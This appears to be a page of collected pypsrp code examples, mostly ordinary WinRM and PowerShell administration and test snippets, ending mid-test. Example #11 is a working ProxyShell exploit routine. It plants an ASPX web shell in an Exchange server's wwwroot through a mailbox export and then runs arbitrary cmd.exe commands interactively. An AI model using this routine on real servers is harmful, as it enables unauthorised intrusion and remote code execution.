コード例 #1
0
    def _exec_psrp_script(self,
                          script,
                          input_data=None,
                          use_local_scope=True,
                          force_stop=False):
        ps = PowerShell(self.runspace)
        ps.add_script(script, use_local_scope=use_local_scope)
        ps.invoke(input=input_data)

        rc, stdout, stderr = self._parse_pipeline_result(ps)

        if force_stop:
            # This is usually not needed because we close the Runspace after our exec and we skip the call to close the
            # pipeline manually to save on some time. Set to True when running multiple exec calls in the same runspace.

            # Current pypsrp versions raise an exception if the current state was not RUNNING. We manually set it so we
            # can call stop without any issues.
            ps.state = PSInvocationState.RUNNING
            ps.stop()

        return rc, stdout, stderr
コード例 #2
0
ファイル: test_integration.py プロジェクト: trir262/pypsrp
    def test_psrp_jea(self, functional_transports):
        for wsman in functional_transports:
            with RunspacePool(wsman, configuration_name="JEARole") as pool:
                ps = PowerShell(pool)
                wsman_path = "WSMan:\\localhost\\Service\\AllowUnencrypted"
                ps.add_cmdlet("Get-Item").add_parameter("Path", wsman_path)
                ps.add_statement()
                ps.add_cmdlet("Set-Item").add_parameters({
                    "Path": wsman_path,
                    "Value": "True"
                })
                actual = ps.invoke()

            assert ps.had_errors is True
            assert len(actual) == 1
            assert actual[0].property_sets[0].adapted_properties['Value'] == \
                'false'
            assert str(ps.streams.error[0]) == \
                "The term 'Set-Item' is not recognized as the name of a " \
                "cmdlet, function, script file, or operable program. Check " \
                "the spelling of the name, or if a path was included, " \
                "verify that the path is correct and try again."
コード例 #3
0
def main(host, username, password, command):
    wsman = WSMan(host,
                  username=username,
                  password=password,
                  cert_validation=False)

    with RunspacePool(wsman) as pool:
        ps = PowerShell(pool)
        ps.add_cmdlet(command)
        ps.invoke()

        print(ps.output[0])
コード例 #4
0
ファイル: client.py プロジェクト: trir262/pypsrp
    def fetch(self, src, dest, configuration_name=DEFAULT_CONFIGURATION_NAME):
        """
        Will fetch a single file from the remote Windows host and create a
        local copy. Like copy(), this can be slow when it comes to fetching
        large files due to the limitation of WinRM.

        This method will first store the file in a temporary location before
        creating or replacing the file at dest if the checksum is correct.

        :param src: The path to the file on the remote host to fetch
        :param dest: The path on the localhost host to store the file as
        :param configuration_name: The PowerShell configuration endpoint to
            use when fetching the file.
        """
        dest = os.path.expanduser(os.path.expandvars(dest))
        log.info("Fetching '%s' to '%s'" % (src, dest))

        with RunspacePool(self.wsman, configuration_name=configuration_name) as pool:
            script = get_pwsh_script('fetch.ps1')
            powershell = PowerShell(pool)
            powershell.add_script(script).add_argument(src)

            log.debug("Starting remote process to output file data")
            powershell.invoke()
            log.debug("Finished remote process to output file data")

            if powershell.had_errors:
                errors = powershell.streams.error
                error = "\n".join([str(err) for err in errors])
                raise WinRMError("Failed to fetch file %s: %s" % (src, error))
            expected_hash = powershell.output[-1]

            temp_file, path = tempfile.mkstemp()
            try:
                file_bytes = base64.b64decode(powershell.output[0])
                os.write(temp_file, file_bytes)

                sha1 = hashlib.sha1()
                sha1.update(file_bytes)
                actual_hash = sha1.hexdigest()

                log.debug("Remote Hash: %s, Local Hash: %s"
                          % (expected_hash, actual_hash))
                if actual_hash != expected_hash:
                    raise WinRMError("Failed to fetch file %s, hash mismatch\n"
                                     "Source: %s\nFetched: %s"
                                     % (src, expected_hash, actual_hash))
                shutil.copy(path, dest)
            finally:
                os.close(temp_file)
                os.remove(path)
コード例 #5
0
    def failfast(self):
        bad_scopes = []
        for csv_dict in self.csv_dhcp_dm:
            for scope in csv_dict.keys():
                print('-', scope)
                # Get list of all reservations in the scope
                with RunspacePool(self.wsman_conn) as pool:
                    ps = PowerShell(pool)
                    # The powershell cmd is "Get-DhcpServerv4Reservation -scopeid 192.168.200.0"
                    ps.add_cmdlet("Invoke-Expression").add_parameter(
                        "Command",
                        "Get-DhcpServerv4Scope -scopeid {}".format(scope))
                    ps.add_cmdlet("Out-String").add_parameter("Stream")
                    ps.invoke()
                    dhcp_reserv = ps.output

                if len(dhcp_reserv) == 0:
                    bad_scopes.append(scope)
        # If any of the scopes dont not exist values are returned to main.py (which also casues script to exit)
        if len(bad_scopes) != 0:
            return '!!! Error - The following scopes dont exist on the DHCP server: \n{}'.format(
                bad_scopes)
コード例 #6
0
ファイル: client.py プロジェクト: dagwieers/pypsrp
    def execute_ps(self, script):
        """
        Executes a PowerShell script in a PowerShell runspace pool. This uses
        the PSRP layer and is designed to run a PowerShell script and not a
        raw executable.

        Because this runs in a runspace, traditional concepts like stdout,
        stderr, rc's are no longer relevant. Instead there is a output,
        error/verbose/debug streams, and a boolean that indicates if the
        script execution came across an error. If you want the traditional
        stdout/stderr/rc, use execute_cmd instead.

        :param script: The PowerShell script to run
        :return: A tuple of
            output: A unicode string of the output stream
            streams: pypsrp.powershell.PSDataStreams containing the other
                PowerShell streams
            had_errors: bool that indicates whether the script had errors
                during execution
        """
        log.info("Executing PowerShell script '%s'" % script)
        with RunspacePool(self.wsman) as pool:
            powershell = PowerShell(pool)

            # so the client executes a powershell script and doesn't need to
            # deal with complex PS objects, we run the script in
            # Invoke-Expression and convert the output to a string
            # if a user wants to get the raw complex objects then they should
            # use RunspacePool and PowerShell directly
            powershell.add_cmdlet("Invoke-Expression").add_parameter("Command",
                                                                     script)
            powershell.add_cmdlet("Out-String").add_parameter("Stream")
            powershell.invoke()

        return "\n".join(powershell.output), powershell.streams, \
               powershell.had_errors
コード例 #7
0
    def deploy_csv(self, type, temp_csv, win_dir):
        win_dir1 = win_dir.replace(".csv", "1.csv")              # Extra temp file required for removing DNS RV entries
        self.num_new_entries = str(self.num_new_entries) + '/' + str(self.num_new_entries)      # To make it A/PTR records, should be same as deployed in the 1 cmd
        # Copy the new CSV File onto DHCP server, script will fail if it cant
        try:
            self.client_conn.copy(temp_csv, win_dir)
            if type == 'remove':
                self.client_conn.copy(self.temp_csv1, win_dir1)
        except Exception as e:              # If copy fails script fails
            print("!!! Error - Could not copy CSV file to DNS server, investigate the below error before re-running the script.\n{}".format(e))
            exit()

        # Add DNS entries
        if type == 'add':
            with RunspacePool(self.wsman_conn) as pool:
                ps = PowerShell(pool)
                ps.add_cmdlet("Import-Csv").add_argument("{}".format(win_dir)).add_cmdlet("Add-DNSServerResourceRecordA").add_parameter("-CreatePtr")
                ps.invoke()
            output = [self.num_new_entries, [ps.had_errors], [ps.streams.error]]

        # Remove DNS entries, have to spilt into multiple cmds due to bug with "Remove-DNSServerResourceRecord" where cant use RRtype from CSV
        elif type == 'remove':
            with RunspacePool(self.wsman_conn) as pool:
                ps = PowerShell(pool)
                ps.add_cmdlet("Import-Csv").add_argument("{}".format(win_dir)).add_cmdlet("Remove-DNSServerResourceRecord").add_parameter("RRtype", "A").add_parameter("-Force")
                ps.invoke()
            output = [self.num_new_entries, [ps.had_errors], [ps.streams.error]]      # adds the errors as lists so can add outputs from next cmd
            with RunspacePool(self.wsman_conn) as pool:
                ps = PowerShell(pool)
                ps.add_cmdlet("Import-Csv").add_argument("{}".format(win_dir1)).add_cmdlet("Remove-DNSServerResourceRecord").add_parameter("RRtype", "PTR").add_parameter("-Force")
                ps.invoke()
            output[1].append(ps.had_errors)
            output[2].append(ps.streams.error)

        # Cleanup temp files
        try:
            os.remove(temp_csv)
            self.client_conn.execute_cmd("del {}".format(win_dir.replace("/", "\\")))      # Windows wont take / format with the cmd
            if type == 'remove':
                os.remove(self.temp_csv1)
                self.client_conn.execute_cmd("del {}".format(win_dir1.replace("/", "\\")))      # Windows wont take / format with the cmd
        except Exception as e:              # If delete fails warns user
            print("!!! Warning - Could not delete temporary files off DNS server, you will have to do manually.\n{}".format(e))

        return output
コード例 #8
0
ファイル: client.py プロジェクト: 5l1v3r1/pypsrp
    def copy(self,
             src,
             dest,
             configuration_name=DEFAULT_CONFIGURATION_NAME,
             expand_variables=False):
        """
        Copies a single file from the current host to the remote Windows host.
        This can be quite slow when it comes to large files due to the
        limitations of WinRM but it is designed to be as fast as it can be.
        During the copy process, the bytes will be stored in a temporary file
        before being copied.

        When copying it will replace the file at dest if one already exists. It
        also will verify the checksum of the copied file is the same as the
        actual file locally before copying the file to the path at dest.

        :param src: The path to the local file
        :param dest: The path to the destination file on the Windows host
        :param configuration_name: The PowerShell configuration endpoint to
            use when copying the file.
        :param expand_variables: Expand variables in path. Disabled by default
            Enable for cmd like expansion (for example %TMP% in path)
        :return: The absolute path of the file on the Windows host
        """
        def read_buffer(b_path, total_size, buffer_size):
            offset = 0
            sha1 = hashlib.sha1()

            with open(b_path, 'rb') as src_file:
                for data in iter((lambda: src_file.read(buffer_size)), b""):
                    log.debug(
                        "Reading data of file at offset=%d with size=%d" %
                        (offset, buffer_size))
                    offset += len(data)
                    sha1.update(data)
                    b64_data = base64.b64encode(data)

                    result = [to_unicode(b64_data)]
                    if offset == total_size:
                        result.append(
                            to_unicode(
                                base64.b64encode(to_bytes(sha1.hexdigest()))))

                    yield result

                # the file was empty, return empty buffer
                if offset == 0:
                    yield [
                        u"",
                        to_unicode(base64.b64encode(to_bytes(
                            sha1.hexdigest())))
                    ]

        if expand_variables:
            src = os.path.expanduser(os.path.expandvars(src))
        b_src = to_bytes(src)
        src_size = os.path.getsize(b_src)
        log.info("Copying '%s' to '%s' with a total size of %d" %
                 (src, dest, src_size))

        with RunspacePool(self.wsman,
                          configuration_name=configuration_name) as pool:
            # Get the buffer size of each fragment to send, subtract. Adjust to size of the base64 encoded bytes. Also
            # subtract 82 for the fragment, message, and other header info that PSRP adds.
            buffer_size = int((self.wsman.max_payload_size - 82) / 4 * 3)

            log.info("Creating file reader with a buffer size of %d" %
                     buffer_size)
            read_gen = read_buffer(b_src, src_size, buffer_size)

            command = get_pwsh_script('copy.ps1')
            log.debug("Starting to send file data to remote process")
            powershell = PowerShell(pool)
            powershell.add_script(command) \
                .add_argument(dest) \
                .add_argument(expand_variables)
            powershell.invoke(input=read_gen)
            _handle_powershell_error(powershell, "Failed to copy file")

        log.debug("Finished sending file data to remote process")
        for warning in powershell.streams.warning:
            warnings.warn(str(warning))

        output_file = to_unicode(powershell.output[-1]).strip()
        log.info("Completed file transfer of '%s' to '%s'" %
                 (src, output_file))
        return output_file
コード例 #9
0
ファイル: client.py プロジェクト: dagwieers/pypsrp
    def fetch(self, src, dest):
        """
        Will fetch a single file from the remote Windows host and create a
        local copy. Like copy(), this can be slow when it comes to fetching
        large files due to the limitation of WinRM.

        This method will first store the file in a temporary location before
        creating or replacing the file at dest if the checksum is correct.

        :param src: The path to the file on the remote host to fetch
        :param dest: The path on the localhost host to store the file as
        """
        dest = os.path.expanduser(os.path.expandvars(dest))
        log.info("Fetching '%s' to '%s'" % (src, dest))

        self.wsman.update_max_payload_size()

        # Need to output as a base64 string as PS Runspaces will create an
        # individual byte objects for each byte in a byte array which has way
        # more overhead than a single base64 string.
        # I also wanted to output in chunks and have the local side process
        # the output in parallel for large files but it seems like the base64
        # stream is getting sent in one chunk when in a loop so scratch that
        # idea
        script = '''$ErrorActionPreference = 'Stop'
$algo = [System.Security.Cryptography.SHA1CryptoServiceProvider]::Create()
$src = New-Object -TypeName System.IO.FileInfo -ArgumentList '%s'
if ("Directory" -in $src.Attributes.ToString()) {
    throw "The path at '$($src.FullName)' is a directory, src must be a file"
} elseif (-not $src.Exists) {
    throw "The path at '$($src.FullName)' does not exist"
}

$buffer_size = 4096
$offset = 0
$fs = $src.OpenRead()
$total_bytes = $fs.Length
$bytes_to_read = $total_bytes - $offset
try {
    while ($bytes_to_read -ne 0) {
        $bytes = New-Object -TypeName byte[] -ArgumentList $bytes_to_read
        $read = $fs.Read($bytes, $offset, $bytes_to_read)

        Write-Output -InputObject ([System.Convert]::ToBase64String($bytes))
        $bytes_to_read -= $read
        $offset += $read

        $algo.TransformBlock($bytes, 0, $bytes.Length, $bytes, 0) > $null
    }
} finally {
    $fs.Dispose()
}

$algo.TransformFinalBlock($bytes, 0, 0) > $Null
$hash = [System.BitConverter]::ToString($algo.Hash)
$hash.Replace("-", "").ToLowerInvariant()''' % src

        with RunspacePool(self.wsman) as pool:
            powershell = PowerShell(pool)
            powershell.add_script(script)
            log.info("Starting remote process to output file data")
            powershell.invoke()
            log.info("Finished remote process to output file data")

            if powershell.had_errors:
                errors = powershell.streams.error
                error = "\n".join([str(err) for err in errors])
                raise WinRMError("Failed to fetch file %s: %s" % (src, error))
            expected_hash = powershell.output[-1]

            temp_file, path = tempfile.mkstemp()
            try:
                file_bytes = base64.b64decode(powershell.output[0])
                os.write(temp_file, file_bytes)

                sha1 = hashlib.sha1()
                sha1.update(file_bytes)
                actual_hash = sha1.hexdigest()

                log.debug("Remote Hash: %s, Local Hash: %s"
                          % (expected_hash, actual_hash))
                if actual_hash != expected_hash:
                    raise WinRMError("Failed to fetch file %s, hash mismatch\n"
                                     "Source: %s\nFetched: %s"
                                     % (src, expected_hash, actual_hash))
                shutil.copy(path, dest)
            finally:
                os.close(temp_file)
                os.remove(path)
コード例 #10
0
import json
from subprocess import Popen, PIPE
from pypsrp.powershell import PowerShell, RunspacePool
from pypsrp.wsman import WSMan
from SQLDBAToolsInventory_EnvironmentSettings import powershellbaseservername, proxyusername, proxypassword

# creates a https connection with explicit kerberos auth and implicit credentials
wsman = WSMan(powershellbaseservername, auth="kerberos", cert_validation=False)

pool = RunspacePool(wsman)
ps = PowerShell(pool)

script = '''
$psversiontable
'''
ps.add_command(script)
ps.invoke(["string", 1])
print(ps.output)
print(ps.streams.debug)


import json
from subprocess import Popen, PIPE
#servername = "tul1dbapmtdb1"
servername = "tul1cipedb2"
ps_cmdlet = """
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope Process -Force;
Import-Module SQLDBATools -DisableNameChecking;
$global:PrintUserFriendlyMessage = $false;
Get-ServerInfo {0} | ConvertTo-Json | Write-Output;
""".format(servername)
コード例 #11
0
def shell(command, port, proxyshell):

    # From: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
    if command.lower() in ['exit', 'quit']:
        exit()
    powershell_url = f'/Powershell?X-Rps-CAT={proxyshell.token}'
    suffix = f'&Email=autodiscover/autodiscover.json%3F{proxyshell.rand_email_split}'
    path = f'autodiscover/autodiscover.json?{proxyshell.rand_email_split}{powershell_url}{suffix}'

    wsman = WSMan(proxyshell.exchange_url.replace("https://", ""),
                  path=path,
                  ssl="true",
                  port=443,
                  cert_validation=False)
    with RunspacePool(wsman, configuration_name='Microsoft.Exchange') as pool:

        if command.lower().strip() == 'dropshell':
            drop_shell(proxyshell)
            #New-MailboxExportRequest might fail. Use New-ExchangeCertificate to get RCE

            ps = PowerShell(pool)
            ps.add_cmdlet('New-ManagementRoleAssignment').add_parameter(
                'Role',
                'Mailbox Import Export').add_parameter('User',
                                                       proxyshell.email)
            output = ps.invoke()
            print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
            print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))

            ps = PowerShell(pool)
            ps.add_cmdlet('New-MailboxExportRequest').add_parameter(
                'Mailbox', proxyshell.email
            ).add_parameter(
                'FilePath',
                f'\\\\localhost\\c$\\inetpub\\wwwroot\\aspnet_client\\{proxyshell.rand_subj}.aspx'
            ).add_parameter('IncludeFolders', '#Drafts#').add_parameter(
                'ContentFilter', f'Subject -eq \'{proxyshell.rand_subj}\'')
            output = ps.invoke()

            print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
            print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))

            shell_url = f'{proxyshell.exchange_url}/aspnet_client/{proxyshell.rand_subj}.aspx'
            print(f'Shell URL: {shell_url}')
            for i in range(10):
                print(f'Testing shell {i}')
                r = requests.get(shell_url, verify=proxyshell.session.verify)
                if r.status_code == 200:
                    delimit = rand_string()

                    while True:
                        cmd = input('Shell> ')
                        if cmd.lower() in ['exit', 'quit']:
                            return

                        exec_code = f'Response.Write("{delimit}" + new ActiveXObject("WScript.Shell").Exec("cmd.exe /c {cmd}").StdOut.ReadAll() + "{delimit}");'
                        r = requests.get(shell_url,
                                         params={'exec_code': exec_code},
                                         verify=proxyshell.session.verify)
                        output = r.content.split(delimit.encode())[1]
                        print(output.decode())

                time.sleep(5)
                i += 1

            print('Shell drop failed :(')
            return

        else:
            ps = PowerShell(pool)
            ps.add_script(command)
            output = ps.invoke()

    print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
    print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))
コード例 #12
0
ファイル: test_host.py プロジェクト: trir262/pypsrp
    def test_psrp_pshost_ui_mocked_methods(self, wsman_conn, monkeypatch):
        # This tests that the args from an actual host call match up with our
        # definitions
        monkeypatch.setattr('cryptography.hazmat.primitives.asymmetric.rsa.'
                            'generate_private_key', gen_rsa_keypair)

        mock_read_line = MagicMock(return_value="ReadLine response")
        mock_read_line_as_ss = MagicMock()
        mock_write1 = MagicMock(return_value=None)
        mock_write2 = MagicMock(return_value=None)
        mock_write_line1 = MagicMock(return_value=None)
        mock_write_line2 = MagicMock(return_value=None)
        mock_write_line3 = MagicMock(return_value=None)
        mock_write_error = MagicMock(return_value=None)
        mock_write_debug = MagicMock(return_value=None)
        mock_write_progress = MagicMock(return_value=None)
        mock_write_verbose = MagicMock(return_value=None)
        mock_write_warning = MagicMock(return_value=None)
        mock_prompt = MagicMock(return_value={
            "prompt field": "prompt response",
        })
        mock_prompt_credential = MagicMock()
        mock_prompt_choice = MagicMock(return_value=1)

        host_ui = PSHostUserInterface()
        host_ui.ReadLine = mock_read_line
        host_ui.ReadLineAsSecureString = mock_read_line_as_ss
        host_ui.Write1 = mock_write1
        host_ui.Write2 = mock_write2
        host_ui.WriteLine1 = mock_write_line1
        host_ui.WriteLine2 = mock_write_line2
        host_ui.WriteLine3 = mock_write_line3
        host_ui.WriteErrorLine = mock_write_error
        host_ui.WriteDebugLine = mock_write_debug
        host_ui.WriteProgress = mock_write_progress
        host_ui.WriteVerboseLine = mock_write_verbose
        host_ui.WriteWarningLine = mock_write_warning
        host_ui.Prompt = mock_prompt
        # seems like PS never calls PromptForCredential1 so we will skip that
        host_ui.PromptForCredential2 = mock_prompt_credential
        host_ui.PromptForChoice = mock_prompt_choice

        host = PSHost(None, None, False, None, None, host_ui, None)

        with RunspacePool(wsman_conn, host=host) as pool:
            pool.exchange_keys()
            mock_read_line_as_ss.return_value = pool.serialize(
                u"ReadLineAsSecureString response", ObjectMeta("SS")
            )
            mock_ps_credential = PSCredential(username="******",
                                              password=u"password")
            mock_prompt_credential.return_value = mock_ps_credential

            ps = PowerShell(pool)
            ps.add_script('''$host.UI.ReadLine()
$host.UI.ReadLineAsSecureString()
$host.UI.Write("Write1")
$host.UI.Write([System.ConsoleColor]::Blue, [System.ConsoleColor]::White, "Write2")
$host.UI.WriteLine()
$host.UI.WriteLine("WriteLine2")
$host.UI.WriteLine([System.ConsoleColor]::Gray, [System.ConsoleColor]::Green, "WriteLine3")
$host.UI.WriteErrorLine("WriteErrorLine")
$host.UI.WriteDebugLine("WriteDebugLine")
$host.UI.WriteProgress(1, (New-Object -TypeName System.Management.Automation.ProgressRecord -ArgumentList 2, "activity", "description"))
$host.UI.WriteVerboseLine("WriteVerboseLine")
$host.UI.WriteWarningLine("WriteWarningLine")

$prompt_field = New-Object -TypeName System.Management.Automation.Host.FieldDescription -ArgumentList @("prompt field")
$prompt_field.Label = "PromptLabel"
$host.UI.Prompt("Prompt caption", "Prompt message", $prompt_field)

$host.UI.PromptForCredential("PromptForCredential caption", "PromptForCredential message", "PromptForCredential user", "PromptForCredential target")

$choice_field1 = New-Object -TypeName System.Management.Automation.Host.ChoiceDescription -ArgumentList "Prompt1 label", "Prompt1 help"
$choice_field2 = New-Object -TypeName System.Management.Automation.Host.ChoiceDescription -ArgumentList "Prompt2 label", "Prompt2 help"
$host.UI.PromptForChoice("PromptForChoice caption", "PromptForChoice message", @($choice_field1, $choice_field2), 0)''')
            actual = ps.invoke()

        assert len(actual) == 5

        assert actual[0] == "ReadLine response"
        assert mock_read_line.call_count == 1
        assert isinstance(mock_read_line.call_args[0][0], RunspacePool)
        assert isinstance(mock_read_line.call_args[0][1], PowerShell)

        assert actual[1] == "ReadLineAsSecureString response"
        assert mock_read_line_as_ss.call_count == 1
        assert isinstance(mock_read_line_as_ss.call_args[0][0],
                          RunspacePool)
        assert isinstance(mock_read_line_as_ss.call_args[0][1], PowerShell)

        assert mock_write1.call_count == 1
        assert isinstance(mock_write1.call_args[0][0], RunspacePool)
        assert isinstance(mock_write1.call_args[0][1], PowerShell)
        assert mock_write1.call_args[0][2] == "Write1"

        assert mock_write2.call_count == 1
        assert isinstance(mock_write2.call_args[0][0], RunspacePool)
        assert isinstance(mock_write2.call_args[0][1], PowerShell)
        assert mock_write2.call_args[0][2] == Color.BLUE
        assert mock_write2.call_args[0][3] == Color.WHITE
        assert mock_write2.call_args[0][4] == "Write2"

        assert mock_write_line1.call_count == 1
        assert isinstance(mock_write_line1.call_args[0][0], RunspacePool)
        assert isinstance(mock_write_line1.call_args[0][1], PowerShell)

        assert mock_write_line2.call_count == 1
        assert isinstance(mock_write_line2.call_args[0][0], RunspacePool)
        assert isinstance(mock_write_line2.call_args[0][1], PowerShell)
        assert mock_write_line2.call_args[0][2] == "WriteLine2"

        assert mock_write_line3.call_count == 1
        assert isinstance(mock_write_line3.call_args[0][0], RunspacePool)
        assert isinstance(mock_write_line3.call_args[0][1], PowerShell)
        assert mock_write_line3.call_args[0][2] == Color.GRAY
        assert mock_write_line3.call_args[0][3] == Color.GREEN
        assert mock_write_line3.call_args[0][4] == "WriteLine3"

        assert mock_write_error.call_count == 1
        assert isinstance(mock_write_error.call_args[0][0], RunspacePool)
        assert isinstance(mock_write_error.call_args[0][1], PowerShell)
        assert mock_write_error.call_args[0][2] == "WriteErrorLine"

        assert mock_write_debug.call_count == 1
        assert isinstance(mock_write_debug.call_args[0][0], RunspacePool)
        assert isinstance(mock_write_debug.call_args[0][1], PowerShell)
        assert mock_write_debug.call_args[0][2] == "WriteDebugLine"

        # On PSv5 a progress record is always sent, we still sent one
        # ourselves to ensure it works so we verify we received at least
        # one and assert the last
        assert mock_write_progress.call_count > 0
        progress_args = mock_write_progress.call_args_list[-1]
        assert isinstance(progress_args[0][0], RunspacePool)
        assert isinstance(progress_args[0][1], PowerShell)
        assert progress_args[0][2] == 1
        progress_record = pool._serializer.deserialize(
            progress_args[0][3], ObjectMeta("Obj", object=ProgressRecord)
        )
        assert progress_record.activity == "activity"
        assert progress_record.activity_id == 2
        assert progress_record.description == "description"

        assert mock_write_verbose.call_count == 1
        assert isinstance(mock_write_verbose.call_args[0][0], RunspacePool)
        assert isinstance(mock_write_verbose.call_args[0][1], PowerShell)
        assert mock_write_verbose.call_args[0][2] == "WriteVerboseLine"

        assert mock_write_warning.call_count == 1
        assert isinstance(mock_write_warning.call_args[0][0], RunspacePool)
        assert isinstance(mock_write_warning.call_args[0][1], PowerShell)
        assert mock_write_warning.call_args[0][2] == "WriteWarningLine"

        assert actual[2] == {"prompt field": "prompt response"}
        assert mock_prompt.call_count == 1
        assert isinstance(mock_prompt.call_args[0][0], RunspacePool)
        assert isinstance(mock_prompt.call_args[0][1], PowerShell)
        assert mock_prompt.call_args[0][2] == "Prompt caption"
        assert mock_prompt.call_args[0][3] == "Prompt message"
        assert isinstance(mock_prompt.call_args[0][4], list)
        assert len(mock_prompt.call_args[0][4]) == 1
        assert mock_prompt.call_args[0][4][0].extended_properties['name'] == \
            'prompt field'
        assert mock_prompt.call_args[0][4][0].extended_properties['label'] == \
            'PromptLabel'

        assert isinstance(actual[3], PSCredential)
        assert actual[3].username == "username"
        assert actual[3].password == "password"
        assert mock_prompt_credential.call_count == 1
        assert isinstance(mock_prompt_credential.call_args[0][0],
                          RunspacePool)
        assert isinstance(mock_prompt_credential.call_args[0][1],
                          PowerShell)
        assert mock_prompt_credential.call_args[0][2] == \
            "PromptForCredential caption"
        assert mock_prompt_credential.call_args[0][3] == \
            "PromptForCredential message"
        assert mock_prompt_credential.call_args[0][4] == \
            "PromptForCredential user"
        assert mock_prompt_credential.call_args[0][5] == \
            "PromptForCredential target"
        assert mock_prompt_credential.call_args[0][6] == 3
        assert mock_prompt_credential.call_args[0][7] == 1

        assert actual[4] == 1
        assert mock_prompt_choice.call_count == 1
        assert isinstance(mock_prompt_choice.call_args[0][0], RunspacePool)
        assert isinstance(mock_prompt_choice.call_args[0][1], PowerShell)
        assert mock_prompt_choice.call_args[0][2] == "PromptForChoice caption"
        assert mock_prompt_choice.call_args[0][3] == "PromptForChoice message"
        assert isinstance(mock_prompt_choice.call_args[0][4], list)
        assert len(mock_prompt_choice.call_args[0][4]) == 2
        assert mock_prompt_choice.call_args[0][4][0].extended_properties[
            'label'] == "Prompt1 label"
        assert mock_prompt_choice.call_args[0][4][0].extended_properties[
            'helpMessage'] == "Prompt1 help"
        assert mock_prompt_choice.call_args[0][4][1].extended_properties[
            'label'] == "Prompt2 label"
        assert mock_prompt_choice.call_args[0][4][1].extended_properties[
            'helpMessage'] == "Prompt2 help"
コード例 #13
0
ファイル: test_host.py プロジェクト: trir262/pypsrp
    def test_psrp_pshost_raw_ui_mocked_methods(self, wsman_conn,
                                               monkeypatch):
        # in a mocked context the calculated size differs on a few variables
        # we will mock out that call and return the ones used in our existing
        # responses
        mock_calc = MagicMock()
        mock_calc.side_effect = [113955, 382750]

        key_info = KeyInfo(code=65, character="a",
                           state=ControlKeyState.CapsLockOn, key_down=True)

        set_foreground_color = MagicMock(return_value=None)
        set_background_color = MagicMock(return_value=None)
        set_cursor_position = MagicMock(return_value=None)
        set_window_position = MagicMock(return_value=None)
        set_cursor_size = MagicMock(return_value=None)
        set_buffer_size = MagicMock(return_value=None)
        set_window_size = MagicMock(return_value=None)
        set_window_title = MagicMock(return_value=None)
        read_key = MagicMock(return_value=key_info)
        flush_input = MagicMock(return_value=None)
        set_buffer1 = MagicMock(return_value=None)
        set_buffer2 = MagicMock(return_value=None)
        scroll_buffer = MagicMock(return_value=None)

        window_title = "pypsrp window"
        cursor_size = 50
        foreground_color = Color(value=Color.WHITE)
        background_color = Color(value=Color.BLUE)
        cursor_position = Coordinates(x=1, y=2)
        window_position = Coordinates(x=3, y=4)
        buffer_size = Size(width=80, height=80)
        max_physical_window_size = Size(width=80, height=80)
        max_window_size = Size(width=80, height=80)
        window_size = Size(width=80, height=80)

        host_raw_ui = PSHostRawUserInterface(window_title, cursor_size,
                                             foreground_color,
                                             background_color, cursor_position,
                                             window_position, buffer_size,
                                             max_physical_window_size,
                                             max_window_size, window_size)
        host_raw_ui.SetForegroundColor = set_foreground_color
        host_raw_ui.SetBackgroundColor = set_background_color
        host_raw_ui.SetCursorPosition = set_cursor_position
        host_raw_ui.SetWindowPosition = set_window_position
        host_raw_ui.SetCursorSize = set_cursor_size
        host_raw_ui.SetBufferSize = set_buffer_size
        host_raw_ui.SetWindowSize = set_window_size
        host_raw_ui.SetWindowTitle = set_window_title
        host_raw_ui.ReadKey = read_key
        host_raw_ui.FlushInputBuffer = flush_input
        host_raw_ui.SetBufferContents1 = set_buffer1
        host_raw_ui.SetBufferContents2 = set_buffer2
        host_raw_ui.ScrollBufferContents = scroll_buffer

        host_ui = PSHostUserInterface(host_raw_ui)
        host = PSHost(None, None, False, None, None, host_ui, None)

        with RunspacePool(wsman_conn, host=host) as pool:
            ps = PowerShell(pool)
            ps.add_script('''$host.UI.RawUI.ForegroundColor
$host.UI.RawUI.ForegroundColor = [System.ConsoleColor]::Green
$host.UI.RawUI.ForegroundColor

$host.UI.RawUI.BackgroundColor
$host.UI.RawUI.BackgroundColor = [System.ConsoleColor]::Red
$host.UI.RawUI.BackgroundColor

$host.UI.RawUI.CursorPosition
$host.UI.RawUI.CursorPosition = (New-Object -TypeName System.Management.Automation.Host.Coordinates -ArgumentList 11, 12)
$host.UI.RawUI.CursorPosition

$host.UI.RawUI.WindowPosition
$host.UI.RawUI.WindowPosition = (New-Object -TypeName System.Management.Automation.Host.Coordinates -ArgumentList 13, 14)
$host.UI.RawUI.WindowPosition

$host.UI.RawUI.CursorSize
$host.UI.RawUI.CursorSize = 25
$host.UI.RawUI.CursorSize

$host.UI.RawUI.BufferSize
$host.UI.RawUI.BufferSize = (New-Object -TypeName System.Management.Automation.Host.Size -ArgumentList 8, 9)
$host.UI.RawUI.BufferSize

$host.UI.RawUI.WindowSize
$host.UI.RawUI.WindowSize = (New-Object -TypeName System.Management.Automation.Host.Size -ArgumentList 8, 9)
$host.UI.RawUI.WindowSize

$host.UI.RawUI.WindowTitle
$host.UI.RawUI.WindowTitle = "New Window Title"
$host.UI.RawUI.WindowTitle

$host.UI.RawUI.ReadKey()

$host.UI.RawUI.FlushInputBuffer()

$buffer_cell = New-Object -TypeName System.Management.Automation.Host.BufferCell -ArgumentList "Z", ([System.ConsoleColor]::Red), ([System.ConsoleColor]::Green), ([System.Management.Automation.Host.BufferCellType]::Complete)
$rectangle = New-Object -TypeName System.Management.Automation.Host.Rectangle -ArgumentList 1, 2, 3, 4
$host.UI.RawUI.SetBufferContents($rectangle, $buffer_cell)

$coordinates = New-Object -TypeName System.Management.Automation.Host.Coordinates -ArgumentList 15, 15

$buffer_cell1_1 = New-Object -TypeName System.Management.Automation.Host.BufferCell -ArgumentList "A", ([System.ConsoleColor]::Black), ([System.ConsoleColor]::White), ([System.Management.Automation.Host.BufferCellType]::Leading)
$buffer_cell1_2 = New-Object -TypeName System.Management.Automation.Host.BufferCell -ArgumentList "B", ([System.ConsoleColor]::Black), ([System.ConsoleColor]::White), ([System.Management.Automation.Host.BufferCellType]::Trailing)
$buffer_cell2_1 = New-Object -TypeName System.Management.Automation.Host.BufferCell -ArgumentList "C", ([System.ConsoleColor]::Black), ([System.ConsoleColor]::White), ([System.Management.Automation.Host.BufferCellType]::Leading)
